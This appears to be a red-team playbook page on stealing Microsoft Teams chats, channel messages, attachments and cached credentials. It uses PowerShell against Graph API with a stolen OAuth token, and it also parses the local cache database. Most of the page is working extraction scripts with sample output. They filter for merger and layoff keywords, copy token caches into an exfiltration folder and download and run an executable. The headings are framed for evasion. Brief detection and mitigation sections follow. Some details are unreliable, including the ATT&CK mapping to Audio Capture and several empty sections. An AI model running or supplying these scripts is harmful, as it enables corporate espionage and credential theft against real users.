| Attribute | Details |
|---|---|
| Technique ID | COLLECT-CHAT-001 |
| MITRE ATT&CK v18.1 | T1123 - Audio Capture |
| Tactic | Collection |
| Platforms | M365, Microsoft Teams |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Teams 2019 - 2025, Office 365 E3+ |
| Patched In | N/A - Feature-based collection |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Teams Chat Extraction leverages compromised user credentials or OAuth tokens to exfiltrate private messages, group chat conversations, channel communications, and chat attachments from Microsoft Teams. Attackers use Microsoft Graph API endpoints (/me/chats, /teams/{id}/channels/{id}/messages) or Teams client IndexedDB database access to enumerate and download all Teams messages for targeted users, teams, or channels. This technique is particularly dangerous for espionage because Teams conversations often contain strategic planning, confidential negotiations, and sensitive business communications unencrypted in transit within the Teams infrastructure.
Attack Surface: Microsoft Graph Chat API (/me/chats/{id}/messages), Teams channel message endpoints (/teams/{id}/channels/{id}/messages), Teams Desktop Client IndexedDB database (%LOCALAPPDATA%\Microsoft\Teams\Cache\Index\Cache.db), Teams web authentication tokens, and Archive/Backup message repositories.
Business Impact: Complete compromise of organizational communication security and potential corporate espionage. Attackers gain insight into strategic decisions, M&A negotiations, legal strategies, employee concerns, and inter-departmental communications. Regulatory fines for compliance violations (HIPAA, FINRA, GDPR) if healthcare, financial, or EU-resident communications exposed. Reputational damage from leaked executive communications or confidential business strategies.
Technical Context: Extraction typically occurs within 10-30 minutes per user (dependent on message volume) after credential compromise. The technique is extremely difficult to detect without comprehensive audit logging because Teams chat access is legitimate user behavior. Attackers can query for messages containing specific keywords (e.g., “merger,” “acquisition,” “confidential”) to prioritize high-value exfiltration.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.5.1 | Ensure Teams messaging security and retention policies are configured |
| DISA STIG | WN10-CC-000520 | Enforce Teams message encryption and access controls |
| CISA SCuBA | TEAMS.1 | Ensure Teams external sharing and guest access is restricted |
| NIST 800-53 | AC-3, SC-7 | Access Enforcement and Boundary Protection |
| GDPR | Art. 32, Art. 33 | Security of Processing; Breach Notification |
| DORA | Art. 9 | Protection and Prevention of Data Breaches |
| NIS2 | Art. 21 | Cyber Risk Management Measures |
| ISO 27001 | A.13.1.1 | Information Transfer Policies and Procedures |
| ISO 27005 | Risk Scenario | Compromise of Communication Systems and Information Disclosure |
Required Privileges:
Chat.Read, Chat.Read.All, or ChannelMessage.Read.All scopesRequired Access:
https://graph.microsoft.com (port 443, HTTPS)Supported Versions:
Tools:
Supported Versions: Teams 2019-2025, Office 365 E1+
Objective: Establish Graph API authentication and enumerate all chat threads accessible to compromised user.
Command:
# Authenticate using stolen OAuth token
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5..." # Stolen token
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
# List all chats for authenticated user
$chats = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/chats" `
-Headers $headers -Method Get).value
foreach ($chat in $chats) {
Write-Host "Chat: $($chat.topic ?? 'N/A') | ID: $($chat.id) | Type: $($chat.chatType) | Members: $($chat.members.Count)"
}
Expected Output:
Chat: N/A | ID: 19:chat-id-1 | Type: oneOnOne | Members: 2
Chat: Project Alpha Planning | ID: 19:chat-id-2 | Type: group | Members: 5
Chat: Legal Team | ID: 19:chat-id-3 | Type: group | Members: 8
What This Means:
OpSec & Evasion:
/me/chats) is anomalous if repeated frequentlyTroubleshooting:
Chat.Read.All scopeObjective: Retrieve all messages from target chat thread, including metadata and attachments.
Command:
# Extract all messages from specific chat
$chatId = "19:chat-id-2"
$messages = @()
$pageSize = 50
$pageCount = 0
# Paginate through messages (Graph returns 50 per page)
$uri = "https://graph.microsoft.com/v1.0/me/chats/$chatId/messages?`$top=$pageSize"
do {
$page = Invoke-RestMethod -Uri $uri -Headers $headers -Method Get
$messages += $page.value
$pageCount++
Write-Host "Page $pageCount: Retrieved $($page.value.Count) messages"
# Get next page if exists
$uri = $page.'@odata.nextLink'
} while ($null -ne $uri)
Write-Host "Total messages extracted: $($messages.Count)"
# Export messages to JSON
$messages | ConvertTo-Json -Depth 10 | Out-File -FilePath "C:\Exfil\Teams_Chat_$($chatId).json"
Command (Filter by Keywords):
# Extract only messages containing sensitive keywords
$keywords = @("merger", "acquisition", "confidential", "deal", "strategy", "patent", "layoff")
$sensitiveMessages = $messages | Where-Object {
$match = $false
foreach ($keyword in $keywords) {
if ($_.body.content -like "*$keyword*") { $match = $true; break }
}
$match
}
Write-Host "Sensitive messages found: $($sensitiveMessages.Count)"
$sensitiveMessages | ConvertTo-Json -Depth 10 | Out-File -FilePath "C:\Exfil\Sensitive_Messages.json"
Expected Output:
Page 1: Retrieved 50 messages
Page 2: Retrieved 50 messages
Page 3: Retrieved 23 messages
Total messages extracted: 123
Sensitive messages found: 8
What This Means:
OpSec & Evasion:
Objective: Exfiltrate messages from Teams channels containing strategic communications.
Command:
# Get Teams and channels
$teams = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" `
-Headers $headers -Method Get).value
foreach ($team in $teams) {
$teamId = $team.id
Write-Host "Team: $($team.displayName) | ID: $teamId"
# Get channels in team
$channels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$teamId/channels" `
-Headers $headers -Method Get).value
foreach ($channel in $channels) {
$channelId = $channel.id
Write-Host " Channel: $($channel.displayName) | ID: $channelId"
# Extract all messages from channel
$messages = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$teamId/channels/$channelId/messages" `
-Headers $headers -Method Get).value
Write-Host " Messages: $($messages.Count)"
# Export to JSON
$messages | ConvertTo-Json -Depth 10 | Out-File -FilePath "C:\Exfil\Teams_${teamId}_${channelId}.json"
}
}
Expected Output:
Team: Executive Leadership | ID: team-id-1
Channel: Strategy | ID: channel-id-1
Messages: 456
Channel: Financial-Planning | ID: channel-id-2
Messages: 789
Channel: M&A-Opportunities | ID: channel-id-3
Messages: 234
What This Means:
OpSec & Evasion:
Objective: Download files and attachments shared in Teams chats/channels (documents, spreadsheets, credentials).
Command:
# Extract attachments from chat messages
foreach ($message in $messages) {
if ($message.attachments -and $message.attachments.Count -gt 0) {
foreach ($attachment in $message.attachments) {
$attachmentUrl = $attachment.contentUrl
$fileName = $attachment.name
# Download attachment
Invoke-WebRequest -Uri $attachmentUrl -OutFile "C:\Exfil\$fileName" `
-Headers @{"Authorization" = "Bearer $token"}
Write-Host "Downloaded: $fileName | Size: $($attachment.size) bytes"
}
}
}
Expected Output:
Downloaded: Acquisition_Strategy_2026.xlsx | Size: 2097152 bytes
Downloaded: Financial_Projections.pdf | Size: 4194304 bytes
Downloaded: M&A_Target_List.docx | Size: 1048576 bytes
What This Means:
OpSec & Evasion:
Supported Versions: Teams Desktop Client 1.1+
Objective: Find Teams IndexedDB database containing cached messages and chat data on compromised endpoint.
Command (PowerShell):
# Locate Teams cache database
$teamsPath = "$env:LOCALAPPDATA\Microsoft\Teams"
$cacheDb = Join-Path $teamsPath "Cache" "Index"
if (Test-Path $cacheDb) {
Get-ChildItem -Path $cacheDb -Recurse | Select-Object FullName, Length |
Where-Object { $_.Name -like "*Cache*" -or $_.Name -like "*IndexedDB*" }
Write-Host "Teams cache location: $cacheDb"
} else {
Write-Host "Teams cache not found"
}
Expected Output:
FullName Length
-------- ------
C:\Users\john.smith\AppData\Local\Microsoft\Teams\Cache\Index -
C:\Users\john.smith\AppData\Local\Microsoft\Teams\Cache\Index\Cache.db 524288000
What This Means:
OpSec & Evasion:
Objective: Parse Teams IndexedDB database and extract messages, chats, and metadata.
Command (Using Teams Forensics Parser):
# Download and execute teams_parser
$parserUrl = "https://github.com/forensicanalysis/teams_parser/releases/download/v0.1.0/ms_teams_parser.exe"
Invoke-WebRequest -Uri $parserUrl -OutFile "C:\Temp\ms_teams_parser.exe"
# Extract Teams data
& "C:\Temp\ms_teams_parser.exe" -f "$env:LOCALAPPDATA\Microsoft\Teams\Cache\Index" `
-o "C:\Exfil\Teams_Data.json"
Write-Host "Teams data extracted to: C:\Exfil\Teams_Data.json"
# Verify extraction
$data = Get-Content "C:\Exfil\Teams_Data.json" | ConvertFrom-Json
Write-Host "Extracted records: $($data.messages.Count) messages, $($data.contacts.Count) contacts"
Command (Alternative - Manual IndexedDB Query):
# Use Python to query IndexedDB (if available)
$pythonScript = @"
import sqlite3
import json
db_path = r'$env:LOCALAPPDATA\Microsoft\Teams\Cache\Index\Cache.db'
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
# Extract messages table
cursor.execute('SELECT * FROM messages')
messages = cursor.fetchall()
# Export to JSON
with open(r'C:\Exfil\Teams_Messages.json', 'w') as f:
json.dump(messages, f, indent=2)
conn.close()
print(f'Extracted {len(messages)} messages')
"@
$pythonScript | Out-File -FilePath "C:\Temp\extract_teams.py"
python.exe "C:\Temp\extract_teams.py"
Expected Output:
Extracted records: 5847 messages, 234 contacts
What This Means:
OpSec & Evasion:
Objective: Extract cached Teams OAuth tokens and credentials for further access or token impersonation.
Command:
# Locate Teams credential cache
$credPath = "$env:APPDATA\Microsoft\Teams"
$tokenFiles = Get-ChildItem -Path $credPath -Filter "*.cache" -Recurse
foreach ($file in $tokenFiles) {
Write-Host "Credential cache: $($file.FullName) | Size: $($file.Length)"
# Copy to exfil location
Copy-Item -Path $file.FullName -Destination "C:\Exfil\$($file.Name)" -Force
}
# Alternative: Extract Teams login tokens from browser cache (if using web client)
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache"
$tokens = Get-ChildItem -Path $chromePath -Include "*teams*", "*graph*" -Recurse
Write-Host "Found $($tokens.Count) Teams-related cache files"
Expected Output:
Credential cache: C:\Users\john.smith\AppData\Roaming\Microsoft\Teams\cache.db | Size: 1048576
Found 23 Teams-related cache files
What This Means:
OpSec & Evasion:
Supported Versions: Teams 2019+
Objective: Query Teams messages containing financial and acquisition-related keywords for espionage.
Command:
# Extract messages with financial keywords
$financialKeywords = @("budget", "revenue", "cost-cutting", "layoff", "ipo", "acquisition", "merger", "divestiture", "investment", "valuation")
$allMessages = @()
# Query across all teams and channels
$teams = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" -Headers $headers).value
foreach ($team in $teams) {
$channels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels" -Headers $headers).value
foreach ($channel in $channels) {
# Use $filter parameter to search by keywords (if supported)
foreach ($keyword in $financialKeywords) {
$uri = "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels/$($channel.id)/messages?`$filter=contains(body/content, '$keyword')"
try {
$results = (Invoke-RestMethod -Uri $uri -Headers $headers).value
if ($results.Count -gt 0) {
Write-Host "Found $($results.Count) messages with keyword: $keyword"
$allMessages += $results
}
} catch {
# Graph API may not support $filter on body content; fall back to client-side filtering
}
}
}
}
# Export financial/strategic messages
$allMessages | ConvertTo-Json -Depth 10 | Out-File "C:\Exfil\Financial_Strategic_Messages.json"
Expected Output:
Found 42 messages with keyword: acquisition
Found 18 messages with keyword: ipo
Found 15 messages with keyword: merger
What This Means:
OpSec & Evasion:
API Access Patterns:
/me/chats/{id}/messages API requests/teams/{id}/channels/{id}/messages bulk extractionsLocal Indicators (Teams Desktop Client):
Cache\Index\Cache.db)C:\Temp\, C:\Windows\Temp\)C:\Exfil\ or external USB drivesNetwork Indicators:
Cloud Logs (Microsoft Purview/Unified Audit Log):
Search-UnifiedAuditLog -Operations MailItemsAccessed -StartDate (Get-Date).AddDays(-30)Local Artifacts (Windows Endpoint):
HKLM\System\CurrentControlSet\Services\EventLog\SecurityMicrosoft-Windows-Sysmon/Operational%LOCALAPPDATA%\Microsoft\Teams\Cache\Index\Cache.db
# Revoke Teams sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "compromised-user-id"
# Disable Teams client on endpoint
Stop-Process -Name "Teams" -Force
# Reset user password
Set-AzADUser -ObjectId "compromised-user-id" -PasswordProfile @{
Password = [System.Web.Security.Membership]::GeneratePassword(32, 8)
ForceChangePasswordNextLogin = $true
}
# Export Teams audit logs
Search-UnifiedAuditLog -Operations MailItemsAccessed -UserIds "compromised-user-email" `
-StartDate (Get-Date).AddDays(-30) | Export-Csv "C:\Evidence\Teams_Audit.csv"
# Collect Teams cache from endpoint
Copy-Item -Path "$env:LOCALAPPDATA\Microsoft\Teams\Cache" -Destination "C:\Evidence\Teams_Cache" -Recurse
# Force Teams re-authentication
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\Teams\Cache" -Recurse -Force
Remove-Item -Path "$env:APPDATA\Microsoft\Teams" -Recurse -Force
Enable Teams Message Encryption in Transit and at Rest: Applies To Versions: Teams 2019+
Manual Steps (Teams Admin Center):
Enforce Conditional Access for Teams Access: Applies To Versions: Entra ID all versions
Manual Steps (Azure Portal):
Require MFA for Teams AccessDisable External Sharing in Teams: Applies To Versions: Teams 2019+
Manual Steps:
Implement Teams Message Retention Policies:
Manual Steps:
Prevent Message DeletionEnable Copilot for Teams Audit Logging:
Manual Steps:
# Verify Teams external sharing disabled
Get-CsTeamsClientConfiguration | Select-Object IsExternalShareEnabled
# Verify message retention enabled
Get-CsTeamsClientConfiguration | Select-Object AllowRetentionPolicy
# Verify audit logging active
Get-UnifiedAuditLogRetentionPolicy | Select-Object RetentionDays
# Expected Output (If Secure):
# IsExternalShareEnabled: False
# AllowRetentionPolicy: True
# RetentionDays: >= 365
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker tricks user into approving malicious OAuth app |
| 2 | Credential Access | [CA-TOKEN-004] Graph API Token Theft | Stolen OAuth token with Chat.Read.All scope |
| 3 | Collection | [COLLECT-CHAT-001] | Teams chat extraction via Graph API |
| 4 | Exfiltration | Email or external cloud storage | Stolen messages sent to attacker infrastructure |
| 5 | Impact | Corporate Espionage / Insider Trading | Strategic information leaked to competitors or acted upon for financial gain |
Test Name: Extract Teams Chat Messages via Graph API
Supported Versions: Teams 2019+
Command:
Invoke-AtomicTest T1123 -TestNumbers 2
Cleanup:
Invoke-AtomicTest T1123 -TestNumbers 2 -Cleanup
Reference: Atomic Red Team - T1123